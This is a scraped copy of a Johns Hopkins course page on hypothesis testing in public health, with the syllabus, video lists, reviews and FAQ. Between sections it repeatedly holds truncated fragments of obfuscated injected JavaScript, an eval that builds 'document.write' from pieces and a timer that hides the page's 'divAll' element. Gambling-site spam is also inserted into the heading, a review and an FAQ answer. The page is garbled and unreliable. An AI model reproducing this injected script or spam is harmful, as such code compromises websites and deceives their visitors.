拉菲2登陆线路

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About this Course

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100% online

Start instantly and learn at your own schedule.
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Flexible deadlines

Reset deadlines in accordance to your schedule.
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Beginner Level

The recommended math prerequisite is up through and including basic algebra including logarithms and the equation of a line.

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Approx. 18 hours to complete

Suggested: 4 weeks of study, 3-4 hours/week...
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English

Subtitles: English

What you will learn

  • Check
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    Use statistical methods to analyze sampling distribution

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    Estimate and interpret 95% confidence intervals for single samples

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    Estimate and interpret 95% confidence intervals for two populations

  • Check
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    Estimate and interpret p values for hypothesis testing

Skills you will gain

Confidence IntervalStatistical Hypothesis Testingp valuessampling
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100% online

Start instantly and learn at your own schedule.
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

Flexible deadlines

Reset deadlines in accordance to your schedule.
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

Beginner Level

The recommended math prerequisite is up through and including basic algebra including logarithms and the equation of a line.

';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

Approx. 18 hours to complete

Suggested: 4 weeks of study, 3-4 hours/week...
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

English

Subtitles: English

Instructor

Instructor rating4.62/5 (9 Ratings)Info
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John McGready, PhD, MS 

Associate Scientist, Biostatistics
Bloomberg School of Public Health
33,496 Learners
6 Courses

Offered by

Johns Hopkins University logo

Johns Hopkins University

Syllabus - What you will learn from this course

Week
1

Week 1

3 hours to complete

Sampling Distributions and Standard Errors

3 hours to complete
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7 videos (Total 90 min), 1 reading, 2 quizzes
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Sampling Distribution Definition9m
Examples: Sampling Distribution for a Single Mean16m
Examples: Sampling Distribution for a Single Proportion, Incidence Rate16m
Estimating Sampling Distribution Characteristics from Single Samples of Data22m
Additional Examples7m
Examples: Sampling Distribution for a Single Proportion, Incidence Rate (coursera test)16m
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Formative Quiz 1 Solutions10m
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Practice Quiz1h
Sampling Distributions and Standard Errors45m
Week
2

Week 2

3 hours to complete

Confidence Intervals for Single Population Parameters

3 hours to complete
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6 videos (Total 70 min), 1 reading, 2 quizzes
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Confidence Intervals for Single Population Parameters15m
Confidence Intervals for Population Proportions and Incidence Rates15m
So What Is a Confidence Interval, and How Should It Be Interpreted?13m
A Note on Confidence Intervals for Population Quantities Based on Small Samples15m
Additional Examples8m
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Formative Quiz 2 Solutions10m
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Practice Quiz: Confidence Intervals for Single Population Parameters1h
Quiz: Confidence Intervals for Single Population Parameters1h
4 hours to complete

Confidence Intervals for Population Comparison Measures

4 hours to complete
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8 videos (Total 121 min), 1 reading, 2 quizzes
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i 8 videos
Confidence Intervals for Population Comparison Measures15m
Confidence Intervals for Comparing Means of Continuous Outcomes Between Two Populations28m
Confidence Intervals for Binary Comparisons: Part 1, Difference in Proportions12m
Confidence Intervals for Binary Comparisons: Part 2, Ratio of Proportions and Odds Ratios24m
Confidence Intervals for Incidence Rate Ratios10m
A Brief Note About Ratios (Again)11m
Additional Examples17m
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Solutions, Formative Assessment10m
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Practice Quiz: Confidence Intervals for Population Comparison Measures1h
Confidence Intervals for Population Comparison Measures1h
Week
3

Week 3

3 hours to complete

Two-Group Hypothesis Testing: The General Concept and Comparing Means

3 hours to complete
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6 videos (Total 95 min), 1 reading, 2 quizzes
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i 6 videos
Hypothesis Testing: The General Concept, and for Comparing Means Between Two Populations17m
(Hypothesis Testing) Comparing Means Between Two Populations: The Paired Approach21m
(Hypothesis Testing) Comparing Means Between Two Populations: The Unpaired Approach20m
Debriefing on the p-Value, Part 120m
Additional Examples12m
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Solutions, Formative Asessment10m
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Practice Quiz: Two-Group Hypothesis Testing: The General Concept and Comparing Means
Two-Group Hypothesis Testing: The General Concept and Comparing Means, and Earlier Course Material1h
Week
4

Week 4

4 hours to complete

Hypothesis Testing (Comparing Proportions and Incidence Rates Between Two Populations) & Extended Hypothesis Testing

4 hours to complete
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11 videos (Total 138 min)
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i 11 videos
(Hypothesis Testing) Comparing Proportions Between Two Populations: The “z-Test” Approach12m
(Hypothesis Testing) Comparing Proportions Between Two Populations: Chi-Square and Fisher’s Exact Test Approaches23m
Hypothesis Tests for Comparing Incidence Rates Between Two Populations20m
Debriefing on the p-Value and Hypothesis Testing, Part 28m
Additional Examples8m
Introduction2m
(Hypothesis Testing) Comparing Means Between More Than Two Populations: Analysis of Variance (ANOVA)18m
(Hypothesis Testing) Comparing Proportions Between More Than Two Populations: Chi-Square Tests14m
Hypothesis Testing) Comparing Survival Curves Between More Than Two Populations: Log-Rank Tests8m
Several Issues to Consider18m
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Practice Quiz1h
Hypothesis Testing (Comparing Proportions and Incidence Rates Between Two Populations) & Extended Hypothesis Testing1h
2 hours to complete

Project

2 hours to complete
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1 reading
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Biostatistical Consulting Project30m
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Course Project Quiz1h
4.8

Top reviews from Hypothesis Testing in Public Health

By ARMay 27th 2019

拉菲2登陆线路I really enjoyed the simplicity of the presentations. I feel I still need to review the materials to ensure it sinks. All in all, This is one of the 3 online courses I have taken.

By NZApr 10th 2019

Excellent course, very well explained and the scientific articles used were a superb way to boost my confidence that I can do this, meaning stats. Thank you!

About the Biostatistics in Public Health Specialization

This specialization is intended for public health and healthcare professionals, researchers, data analysts, social workers, and others who need a comprehensive concepts-centric biostatistics primer. Those who complete the specialization will be able to read and respond to the scientific literature, including the Methods and Results sections, in public health, medicine, biological science, and related fields. Successful learners will also be prepared to participate as part of a research team....
Biostatistics in Public Health

Frequently Asked Questions

  • Once you enroll for a Certificate, you’ll have access to all videos, quizzes, and programming assignments (if applicable). Peer review assignments can only be submitted and reviewed once your session has begun. If you choose to explore the course without purchasing, you may not be able to access certain assignments.

  • 拉菲2登陆线路When you enroll in the course, you get access to all of the courses in the Specialization, and you earn a certificate when you complete the work. Your electronic Certificate will be added to your Accomplishments page - from there, you can print your Certificate or add it to your LinkedIn profile. If you only want to read and view the course content, you can audit the course for free.

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